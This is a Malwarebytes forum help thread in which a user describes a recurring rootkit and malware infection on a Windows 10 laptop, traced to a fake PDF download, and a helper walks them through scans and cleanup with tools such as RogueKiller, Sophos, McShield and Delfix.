Suspected Rootkit/Malware generator on PC, via Powershell

[amd888]

Hey guys. I came to the Malwarebytes forums to try and solve this reoccurring issue I've been having with my Windows 10 Samsung laptop since about last August. To start, I never had any malware/adware problems period on my PC until said August when I had been trying to download a school-related pdf textbook from a suspicious website via a Google search. To sum it up, on that August day I downloaded a fake pdf .iso file that put some sort of ransomware on my PC that locked me out of my desktop when I opened it. Stupid on my part, yes, I know. I made a desperate decision due to a textbook emergency which I regretted instantly.  Anyhow, I managed to boot into Windows without explorer.exe so I could run Task Manager and subsequently Malwarebytes to get rid of the viruses, and after a day of work it seemed to be running decently again and I breathed a sigh of relief. I then went to my local Microsoft store and a tech guy ran Hitman Pro which found more crap on there which was removed. However, ever since then I have been getting monthly or so adware/malware viruses picked up by Malwarebytes/AdwCleaner that are removed, but they always seem to re-occur in the next few weeks or so. I don't do anything suspicious to get them or download any random suspicious files (that pdf debacle was a very rare occurrence for me), which had me confused as to where these things were coming from. As of this month I had gotten more of this stuff and I began to suspect a rootkit or something was on my PC that was generating the malware (I had suspected this in the months prior to March as well). Upon scanning with Malwarebytes I could quarantine the viruses found, but not remove them. It would replace them upon PC restart and I also encountered a strange Windows temporary profile bug upon restart too, meaning I was locked out of my programs/files. This bug seemed to go away on its own. At this time I also downloaded Avast upon a referral from a family member and noticed that it was giving me warnings about a Win32:Rootkit-gen and a Win32:Malware-gen infection. It seemed like I finally found what the issue was, except I can't get rid of it.

To put it simply, my issue is basically the same issue this person has that posted in this forum today. It is almost word-for-word exactly the same issue I have. 

I have the same powershell taskbar icon pop up, and it happens upon every time I take my computer out of sleep mode. I even got a photo of the Avast notification that popped up again when I was (ironically) typing this post. So to put it short, I think this is my issue but apparently it's a complex problem as none of my virus programs detect it or can get rid of it. Can it be solved or do I have to resort to a full hard drive wipe (if that even will work)? If you need any other information just ask; help would be very appreciated, thank you.

Thank you for your assistance. I ran the two programs you asked for and have the three logs you also asked for. RogueKiller detected numerous problems on my PC; is it safe to go ahead and remove all of them at this time? In addition, I had backed up my data on an external hard drive numerous times since the August problem origin, so is that hard drive infected too? If so, how do I go about removing it from that hard drive? It has no operating system on it.

All right, I have followed these instructions too and have the 5 logs you asked for. Malwarebytes and AdwCleaner found nothing upon my scans as you asked. Is my PC clean again? I noticed 2 Internet Explorer entries found by RogueKiller were replaced upon the removal process. Otherwise the PC seems okay; time will tell if any issues come back. My only other question is about my external hard drive, as mentioned before. How should I ensure the viruses on this PC are not on that drive? I had backed up my whole PC in the past few months onto that drive with (supposedly) the virus here still on my PC then. What do you recommend I do? I don't want that drive infected and it to infect my PC again.

Thanks for the update, yes your logs look good but I need confirmation that the PoweShell issue has cleared.. Regarding the external drive, install the following program to protect your system from infection via USB devices:

McShield - http://www.mcshield.net/ to protect your system from potential malware/infection when plugging in USB devices..

When that is complete connect your external drive, then run the following;

Download Sophos Free Virus Removal Tool and save it to your desktop. If your security alerts to this scan either accept the alert or turn off your security to allow Sophos to run and complete..... Please Do Not use your PC whilst the scan is in progress.... This scan is very thorough so may take several hours...   Double click the icon and select Run Click Next Select I accept the terms in this license agreement, then click Next twice Click Install Click Finish to launch the program Once the virus database has been updated click Start Scanning If any threats are found click Details, then View log file... (bottom left hand corner) Copy and paste the results in your reply Close the Notepad document, close the Threat Details screen, then click Start cleanup Click Exit to close the program If no threats were found please confirm that result.... The Virus Removal Tool scans the following areas of your computer: Memory, including system memory on 32-bit (x86) versions of Windows The Windows registry All local hard drives, fixed and removable Mapped network drives are not scanned. Note: If threats are found in the computer memory, the scan stops. This is because further scanning could enable the threat to spread. You will be asked to click Start Cleanup to remove the threats before continuing the scan.   Thank you, Kevin

Okay, I followed these steps as well and McShield and Sophos did not find any threats on my PC. I ran Sophos with my external hard drive plugged in. McShield detected it and said no malware was found on the drive, too. Does that mean I can deem my external hard drive safe to use? As for the Powershell issue, I tested by putting my PC into sleep mode and upon wake up, it did not run that process so it seems good. I don't know how else to test to see if that virus is completely gone.

What programs do I need to keep that I installed here with your help? Should I keep all of them? Is there anything else I need to do or know? Thank you for the continued help.

Thanks for the update amd888, yes your system should be good to go. Regarding programs to keep... Definitely keep McShield, keep RogueKiller and Sophos as stand alone scanners if you are ok with their use... FRST and AdwCleaner update at source so should only be downloaded when needed....

To clean up use the following:

Uninstall Sophos AV http://www.askvg.com/how-to-completely-uninstall-remove-a-software-program-in-windows-without-using-3rd-party-software/ Next, Download "Delfix by Xplode" and save it to your desktop. Or use the following if first link is down: "Delfix link mirror" If your security program alerts to Delfix either, accept the alert or turn your security off. Double Click to start the program. If you are using Vista or higher, please right-click and choose run as administrator Make Sure the following items are checked:   Remove disinfection tools <----- this will remove tools we have used. Purge System Restore <--- this will remove all previous and possibly exploited restore points, a new point relative to system status at present will be created. Reset system settings <--- this will reset any system settings back to default that were changed either by us during cleansing or malware/infection Now click on "Run" and wait patiently until the tool has completed. The tool will create a log when it has completed. We don't need you to post this. Any remnant files/logs from tools we have used can be deleted… Next, Read the following links to fully understand PC Security and Best Practices, you may find them useful....

OK, did the last steps you stated above. Thanks a lot for your help. I'll be sure to stay safer on the internet and when using computers so this doesn't occur again. If I ever need any help in the future with anything, I'll remember you guys.
